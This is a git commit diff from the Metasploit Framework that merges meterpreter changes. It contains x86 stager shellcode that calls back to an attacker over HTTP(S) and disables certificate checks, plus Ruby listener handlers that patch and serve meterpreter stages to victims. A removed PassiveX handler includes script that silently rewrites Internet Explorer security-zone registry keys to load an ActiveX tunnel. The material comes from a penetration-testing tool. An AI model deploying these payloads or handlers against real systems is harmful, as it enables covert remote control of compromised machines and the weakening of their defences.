Merge in recent meterpreter work. These are not the commits you are looking for (more info on what all this is later this week).

git-svn-id: file:///home/svn/framework3/trunk@13053 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2011-06-28 21:26:43 +00:00
parent dc1e42af2c
commit 9220506ba2
38 changed files with 742 additions and 856 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -23,7 +23,7 @@ internetopen:
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push esi ; LPCTSTR lpszAgent
push esi ; LPCTSTR lpszAgent ("wininet\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
@ -49,10 +49,9 @@ httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
@ -69,9 +68,20 @@ httpopenrequest:
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x02
push byte 0x10
pop ebx
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
httpsendrequest:
xor edi, edi
push edi ; optional length
@ -84,35 +94,10 @@ httpsendrequest:
test eax,eax
jnz short allocate_memory
check_ssl:
; In the case of an invalid certificate authority, we have to wait until the error occurs,
; set an option to disable it, then try it all over again. This wastes shellcode space,
; but its required to use this payload without a valid signed cert.
; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" )
; call ebp
; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d)
; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP),
; we just try a second time if the initial send fails. This provides us with a real retry
; mechanism for free.
try_it_again:
dec ebx
jz failure
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
; pop eax ; clear temporary storage (optional)
; Try it again
jmp short httpsendrequest
jmp short set_security_options
dbl_get_server_host:
jmp get_server_host

View File

@ -0,0 +1,19 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 274 bytes
; Build: >build.py stager_reverse_tcp_nx
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -84,7 +84,7 @@ module Exploit::Remote::HttpServer
else
comm = nil
end
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' => datastore['SRVHOST'],
@ -317,7 +317,7 @@ module Exploit::Remote::HttpServer
# All of this will be for naught in the case of a user behind NAT using a
# bind payload but there's nothing we can do about it.
#
# NOTE: The address will be incorrect when
# NOTE: The address will be incorrect when
# a) LHOST is pointed at a multi/handler on some other box.
# or
# b) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
@ -829,7 +829,7 @@ module Exploit::Remote::HttpServer::PHPInclude
datastore["SSL"] = false
start_service
datastore["SSL"] = old_ssl
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
# print_error("Warning: the URL used for the include might be wrong!")
# print_error("If the target system can route to #{srvhost_addr} it")

View File

@ -202,7 +202,7 @@ protected
return s
end
nil
end
#

View File

@ -1,514 +0,0 @@
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
module Msf
module Handler
###
#
# This handler implements the PassiveX reverse HTTP tunneling interface.
#
###
module PassiveX
include Msf::Handler
###
#
# This class wrappers the communication channel built over the HTTP
# communication protocol between a local session and the remote HTTP
# client.
#
###
class PxSessionChannel
include Rex::IO::StreamAbstraction
module PxSocketInterface
def type?
'tcp'
end
def shutdown(how)
return false if not remote
begin
return (remote.shutdown(how) == 0)
rescue ::Exception
end
end
def peerinfo
if (pi = getpeername)
return pi[1] + ':' + pi[2].to_s
end
end
def localinfo
if (pi = getlocalname)
return pi[1] + ':' + pi[2].to_s
end
end
def getlocalname
getsockname
end
def getsockname
return [2,'',''] if not remote
remote.getsockname
end
def getpeername
return [2,'',''] if not remote
remote.getpeername
end
attr_accessor :remote
end
def initialize(sid)
@remote = nil
@sid = sid
@remote_queue = ''
initialize_abstraction
# sf: we don't include Rex::Socket::Tcp as it messes with closing passivex sessions.
lsock.extend( PxSocketInterface )
lsock.remote = nil
end
#
# Closes the stream abstraction and kills the monitor thread.
#
def close
cleanup_abstraction
end
#
# Sets the remote HTTP client that is to be used for tunneling output
# data to the client side.
#
def remote=(cli)
# If we already have a remote, then close it now that we have a new one.
if (@remote)
begin
@remote.server.close_client(@remote)
rescue
end
end
@remote = cli
lsock.remote = @remote
flush_output
end
#
# Writes data to the local side of the abstraction that comes in from
# the remote.
#
def write_local(buf)
dlog("PassiveX:#{self} Writing #{buf.length} to local side", 'core', LEV_3)
rsock.put(buf)
end
#
# Writes data to the remote HTTP client via an indirect queue.
#
def write_remote(buf)
dlog("PassiveX:#{self} Queuing #{buf.length} to remote side", 'core', LEV_3)
@remote_queue += buf
flush_output
end
#
# The write function for Rex::IO::StreamAbstraction.monitor_rsock
#
def write(buf, opts={})
write_remote(buf)
return buf.length
end
#
# The close_write function for Rex::IO::StreamAbstraction.monitor_rsock
#
def close_write
end
#
# Flushes the output queue if there is an associated output HTTP client.
#
def flush_output
return if (@remote_queue == nil or @remote_queue.length == 0)
resp = Rex::Proto::Http::Response.new
resp.body = @remote_queue
# sf: we must specify a content type
resp['Content-Type'] = 'application/octet-stream'
begin
if (@remote)
dlog("PassiveX:#{self} Flushing remote output queue at #{resp.body.length} bytes", 'core', LEV_3)
# sf: this naughty keepalive was killing the meterpreter over passivex payload, dont re-enable!
#@remote.keepalive = false
@remote.send_response(resp)
@remote = nil
@remote_queue = ''
end
rescue ::Exception
dlog("PassiveX:#{self} Exception during remote queue flush: #{$!}", 'core', LEV_0)
end
end
end
#
# A PassiveX mixin that is used to extend the Msf::Session class in order
# to add a reference to the payload handler that created the session in a
# guaranteed fashion. In turn, the cleanup routine for the session is
# modified to call deref_handler on the payload handler if it's defined.
# This is done to ensure that the tunneling handler stays running while
# there are sessions that still have references to it.
#
module PxSession
def payload_handler=(p)
@payload_handler = p
end
def cleanup
super
@payload_handler.deref_handler if (@payload_handler)
end
end
#
# Class for wrapping reference counting a specific object for passivex.
#
class PxRef
def initialize
refinit
end
include Rex::Ref
end
#
# Returns the string representation of the handler type, in this case
# 'reverse_http'.
#
def self.handler_type
return "reverse_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Initializes the PassiveX HTTP tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8000 ]),
OptString.new('PXURI', [ false, "The URI root for requests", "/" + Rex::Text.rand_text_alphanumeric(32) ]),
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
], Msf::Handler::PassiveX)
register_advanced_options(
[
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
], Msf::Handler::PassiveX)
# Initialize the start of the localized SID pool
self.sid_pool = 0
self.session_channels = Hash.new
self.handler_ref = PxRef.new
end
def dll_path
File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll")
end
#
# Create an HTTP listener that will be connected to and communicated with
# by the payload that is injected, and possibly used for tunneling
# purposes.
#
def setup_handler
comm = datastore['ReverseListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Start the HTTP server service on this host/port
self.service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
datastore['PXPORT'].to_i, datastore['PXHOST'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
comm
)
# Add the new resource
service.add_resource(datastore['PXURI'],
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2)
print_status("PassiveX listener started.")
end
#
# Simply calls stop handler to ensure that things ar ecool.
#
def cleanup_handler
end
#
# Basically does nothing. The service is already started and listening
# during set up.
#
def start_handler
end
#
# Stops the service and deinitializes it.
#
def stop_handler
deref_handler
end
#
# PassiveX payloads have a wait-for-session delay of 30 seconds minimum
# because it can take a bit of time for the OCX to get registered.
#
def wfs_delay
30
end
#
# Called when a new session is created on behalf of this handler. In this
# case, we extend the session so that we can track references to the
# handler since we need to keep the HTTP tunnel up while the session is
# alive.
#
def on_session(session)
super
# Extend the session, increment handler references, and set up the
# session payload handler.
session.extend(PxSession)
handler_ref.ref
session.payload_handler = self
end
#
# Decrement the references to the handler that was used by this exploit.
# If it reaches zero, stop it.
#
def deref_handler
if (handler_ref.deref)
if (service)
Rex::ServiceManager.stop_service(service)
self.service.deref
self.service = nil
print_status("PassiveX listener stopped.")
end
flush_session_channels
end
end
protected
attr_accessor :service # :nodoc:
attr_accessor :sid_pool # :nodoc:
attr_accessor :session_channels # :nodoc:
attr_accessor :handler_ref # :nodoc:
#
# Processes the HTTP request from the PassiveX client. In this case, when
# a request is made to "/", an HTML body is sent that has an embedded
# object tag. This causes the passivex.dll to be downloaded and
# registered (since registration and downloading have been enabled prior to
# this point). After that, the OCX may create a tunnel or download a
# second stage if instructed by the server.
#
def on_request(cli, req)
sid = nil
resp = Rex::Proto::Http::Response.new
# Grab the SID if one was supplied in the request header.
if (req['X-Sid'] and
(m = req['X-Sid'].match(/sid=(\d+?)/)))
sid = m[1]
end
# Process the requested resource.
case req.relative_resource
when "/"
# Get a new sid
self.sid_pool += 1
nsid = sid_pool
resp['Content-Type'] = 'text/html'
# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set
# of processes. It works, so will go ahead and commit changes and debug later to run it down.
resp.body = %Q^<html>
<object classid="CLSID:#{datastore['PXAXCLSID']}" codebase="#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}">
<param name="HttpHost" value="#{datastore['PXHOST']}">
<param name="HttpPort" value="#{datastore['PXPORT']}">
<param name="HttpUriBase" value="#{datastore['PXURI']}">
<param name="HttpSid" value="#{nsid}">^ + ((stage_payload) ? %Q^
<param name="DownloadSecondStage" value="1">^ : "") + %Q^
</object>
<script>
var WshShell = new ActiveXObject("Wscript.Shell");
var marker = true;
var regCheck;
var regRange = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Ranges\\\\random\\\\" //Can be any value
var regIntranet = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\1\\\\";
//Check if we've run this before.
try { regCheck = WshShell.RegRead(regRange + "marker"); } catch (e) { marker = false; }
if (marker == false) {
//Modify perms for the Intranet zone.
WshShell.RegWrite(regIntranet + "1001",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1004",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1200",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1201",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1208",0,"REG_DWORD");
//Map IP to the newly modified zone.
WshShell.RegWrite(regRange,1,"REG_SZ");
WshShell.RegWrite(regRange + ":Range","#{datastore['PXHOST']}","REG_SZ");
WshShell.RegWrite(regRange + "*",1,"REG_DWORD");
WshShell.RegWrite(regRange + "marker",1,"REG_DWORD"); //Just a marker
//Clean up after the original passivex stage1 loader; reset to default IE7 install
var regDefault = "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\3\\\\";
WshShell.RegWrite(regDefault + "1001",1,"REG_DWORD");
WshShell.RegWrite(regDefault + "1004",3,"REG_DWORD");
WshShell.RegWrite(regDefault + "1200",0,"REG_DWORD");
WshShell.RegWrite(regDefault + "1201",3,"REG_DWORD");
//Clean up and delete the created entries
setTimeout('WshShell.RegDelete(regIntranet + "1001")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1004")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1200")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1201")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1208")', 60000);
setTimeout('WshShell.RegDelete(regRange)', 60000);
WshShell.Run("iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}",0,false);
}
</script>
</html>^
# Create a new local PX session with the supplied sid
new_session_channel(nsid)
print_status("Sending PassiveX main page to client")
when "/passivex.dll"
resp['Content-Type'] = 'application/octet-stream'
resp.body = ''
File.open(dll_path, "rb") { |f|
resp.body = f.read
}
print_status("Sending PassiveX DLL (#{resp.body.length} bytes)")
when "/stage"
resp.body = generate_stage
# Now that we've transmitted a second stage, it's time to indicate
# that we've found a new session. We call handle_connection using
# the lsock of the local stream.
if (s = find_session_channel(sid))
framework.threads.spawn("PassiveXClient-#{sid}", false, cli) { |cli_copy|
begin
s.remote = cli_copy
handle_connection(s.lsock)
rescue ::Exception
elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
end
}
end
print_status("Sending stage to sid #{sid} (#{resp.body.length} bytes)")
when "/tunnel_in"
s.write_local(req.body) if (s = find_session_channel(sid))
when "/tunnel_out"
cli.keepalive = true
resp = nil
s.remote = cli if (s = find_session_channel(sid))
else
resp.code = 404
resp.message = "Not found"
end
cli.send_response(resp) if (resp)
end
#
# Creates a new session with the supplied sid.
#
def new_session_channel(sid)
self.session_channels[sid.to_i] = PxSessionChannel.new(sid)
end
#
# Finds a session based on the supplied sid
#
def find_session_channel(sid)
session_channels[sid.to_i]
end
#
# Flushes all existing session_channels and cleans up any resources associated with
# them.
#
def flush_session_channels
session_channels.each_pair { |sid, session|
session.close
}
session_channels = Hash.new
end
end
end
end

View File

@ -0,0 +1,216 @@
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttp
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_http'.
#
def self.handler_type
return "reverse_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptString.new('LHOST', [ true, "The local listener hostname" ]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
], Msf::Handler::ReverseHttps)
register_advanced_options(
[
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
], Msf::Handler::ReverseHttps)
end
#
# Create a HTTP listener
#
def setup_handler
comm = datastore['ReverseListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
'0.0.0.0',
false,
{
'Msf' => framework,
'MsfExploit' => self,
},
comm
)
# Create a reference to ourselves
obj = self
# Add the new resource
service.add_resource("/",
'Proc' => Proc.new { |cli, req|
on_request(cli, req, obj)
},
'VirtualDirectory' => true)
self.conn_ids = []
print_status("Started HTTP reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/")
end
#
# Simply calls stop handler to ensure that things are cool.
#
def cleanup_handler
end
#
# Basically does nothing. The service is already started and listening
# during set up.
#
def start_handler
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
self.service.remove_resource("/")
end
attr_accessor :service # :nodoc:
attr_accessor :conn_ids
protected
#
# Parses the HTTPS request
#
def on_request(cli, req, obj)
sid = nil
resp = Rex::Proto::Http::Response.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
# Process the requested resource.
case req.relative_resource
when /^\/A?INITM?/
url = ''
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
# Replace the transport string first (TRANSPORT_SOCKET_SSL
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "http://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Expiration Timeout at offset #{i}...")
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Communication Timeout at offset #{i}...")
resp.body = blob
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
})
when /^\/(CONN_.*)\//
resp.body = ""
conn_id = $1
if not self.conn_ids.include?(conn_id)
print_status("Incoming orphaned session #{conn_id}, reattaching...")
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
})
end
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = "<h3>No site configured at this address</h3>"
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
obj.service.close_client( cli )
end
end
end
end

View File

@ -38,28 +38,29 @@ module ReverseHttps
register_options(
[
OptString.new('LHOST', [ true, "The local listener hostname" ]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('TARGETID', [ false, "The ID of this specific payload instance (4 bytes max)", Rex::Text.rand_text_alphanumeric(4)]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
], Msf::Handler::ReverseHttps)
register_advanced_options(
[
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
], Msf::Handler::ReverseHttps)
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
], Msf::Handler::ReverseHttps)
end
#
# Create an HTTPS listener
#
def setup_handler
comm = datastore['ReverseListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
@ -69,7 +70,8 @@ module ReverseHttps
'Msf' => framework,
'MsfExploit' => self,
},
comm
comm,
datastore['SSLCert']
)
# Create a reference to ourselves
@ -82,8 +84,7 @@ module ReverseHttps
},
'VirtualDirectory' => true)
dlog("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/", 'core', LEV_2)
self.conn_ids = []
print_status("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/")
end
@ -101,13 +102,15 @@ module ReverseHttps
end
#
# Stops the service and deinitializes it.
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
Rex::ServiceManager.stop_service(service)
self.service.remove_resource("/") if self.service
end
attr_accessor :service # :nodoc:
attr_accessor :conn_ids
protected
@ -122,42 +125,87 @@ protected
# Process the requested resource.
case req.relative_resource
when /\/A(.+)/
target_id = $1
when /^\/A?INITM?/
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{target_id} received...")
url = ''
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
resp.body = obj.prestage_payload + obj.stage_payload(target_id)
# Replace the transport string first (TRANSPORT_SOCKET_SSL
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTPS\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
when /\/B(.+)/
target_id = $1
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Expiration Timeout at offset #{i}...")
# This is the second connection from the actual stage, hand the socket
# off to the real payload handler
print_status("#{cli.peerhost}:#{cli.peerport} Stage connection for target #{target_id} received...")
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Communication Timeout at offset #{i}...")
resp.body = blob
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, { :skip_ssl => true, :target_id => target_id })
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => true
})
# Specify this socket as keep-alive to prevent an immediate kill
cli.keepalive = true
when /^\/(CONN_.*)\//
resp.body = ""
conn_id = $1
# Remove this socket from the polled client list in the server
obj.service.listener.clients.delete(cli)
return
if true # if not self.conn_ids.include?(conn_id)
print_status("Incoming orphaned session #{conn_id}, reattaching...")
conn_ids << conn_id
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => true
})
end
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource}...")
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = "<h3>No site configured at this address</h3>"
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
obj.service.close_client( cli )
end

View File

@ -27,7 +27,7 @@ module Payload::Windows::DllInject
'Arch' => ARCH_X86,
'PayloadCompat' =>
{
'Convention' => 'sockedi -passivex -https'
'Convention' => 'sockedi -http -https'
},
'Stage' =>
{

View File

@ -26,7 +26,7 @@ module Payload::Windows::Exec
'Arch' => ARCH_X86,
'PayloadCompat' =>
{
'Convention' => '-passivex -https',
'Convention' => '-passivex -http -https',
},
'Payload' =>
{

View File

@ -26,7 +26,7 @@ module Payload::Windows::LoadLibrary
'Arch' => ARCH_X86,
'PayloadCompat' =>
{
'Convention' => '-passivex -https',
'Convention' => '-http -https',
},
'Payload' =>
{

View File

@ -172,7 +172,8 @@ class Channel
request = Packet.create_request('core_channel_read')
if (length == nil)
length = 65536
# Default block size to a higher amount for passive dispatcher
length = self.client.passive_service ? (1024*1024) : 65536
end
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
@ -228,12 +229,12 @@ class Channel
# Populate the request
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
cdata = request.add_tlv(TLV_TYPE_CHANNEL_DATA, buf)
if( ( self.flags & CHANNEL_FLAG_COMPRESS ) == CHANNEL_FLAG_COMPRESS )
cdata.compress = true
cdata.compress = true
end
request.add_tlv(TLV_TYPE_LENGTH, length)
request.add_tlvs(addends)
@ -285,7 +286,7 @@ class Channel
return true
end
def _close(addends = nil)
self.class._close(self.client, self.cid, addends)
self.cid = nil

View File

@ -45,7 +45,7 @@ class Client
# Cached SSL certificate (required to scale)
#
@@ssl_ctx = nil
#
# Mutex to synchronize class-wide operations
#
@ -95,32 +95,51 @@ class Client
# Initializes the meterpreter client instance
#
def init_meterpreter(sock,opts={})
self.sock = sock
self.parser = PacketParser.new
self.ext = ObjectAliases.new
self.ext_aliases = ObjectAliases.new
self.alive = true
self.target_id = opts[:target_id]
self.capabilities= opts[:capabilities] || {}
self.sock = sock
self.parser = PacketParser.new
self.ext = ObjectAliases.new
self.ext_aliases = ObjectAliases.new
self.alive = true
self.target_id = opts[:target_id]
self.capabilities = opts[:capabilities] || {}
self.response_timeout = opts[:timeout] || self.class.default_timeout
self.conn_id = opts[:conn_id]
self.url = opts[:url]
self.ssl = opts[:ssl]
self.expiration = opts[:expiration]
self.comm_timeout = opts[:comm_timeout]
self.passive_dispatcher = opts[:passive_dispatcher]
self.response_timeout = opts[:timeout] || self.class.default_timeout
self.send_keepalives = true
if opts[:passive_dispatcher]
initialize_passive_dispatcher
# Switch the socket to SSL mode and receive the hello if needed
if capabilities[:ssl] and not opts[:skip_ssl]
swap_sock_plain_to_ssl()
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
else
# Switch the socket to SSL mode and receive the hello if needed
if capabilities[:ssl] and not opts[:skip_ssl]
swap_sock_plain_to_ssl()
end
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
def swap_sock_plain_to_ssl
@ -138,22 +157,22 @@ class Client
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
IO::select(nil, nil, nil, 0.10)
retry
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
rescue ::Exception => e
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
IO::select( [ ssl ], nil, nil, 0.10 )
retry
end
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
IO::select( nil, [ ssl ], nil, 0.10 )
retry
end
raise e
end
end
end
self.sock.extend(Rex::Socket::SslTcp)
self.sock.sslsock = ssl
@ -175,11 +194,11 @@ class Client
end
def generate_ssl_context
@@ssl_mutex.synchronize do
@@ssl_mutex.synchronize do
if not @@ssl_ctx
wlog("Generating SSL certificate for Meterpreter sessions")
key = OpenSSL::PKey::RSA.new(1024){ }
cert = OpenSSL::X509::Certificate.new
cert.version = 2
@ -223,12 +242,12 @@ class Client
ctx.session_id_context = Rex::Text.rand_text(16)
wlog("Generated SSL certificate for Meterpreter sessions")
@@ssl_ctx = ctx
end # End of if not @ssl_ctx
end # End of mutex.synchronize
@@ssl_ctx
end
@ -379,6 +398,30 @@ class Client
# The libraries available to this meterpreter server
#
attr_accessor :capabilities
#
# The Connection ID
#
attr_accessor :conn_id
#
# The Connect URL
#
attr_accessor :url
#
# Use SSL (HTTPS)
#
attr_accessor :ssl
#
# The Session Expiration Timeout
#
attr_accessor :expiration
#
# The Communication Timeout
#
attr_accessor :comm_timeout
#
# The Passive Dispatcher
#
attr_accessor :passive_dispatcher
protected
attr_accessor :parser, :ext_aliases # :nodoc:

View File

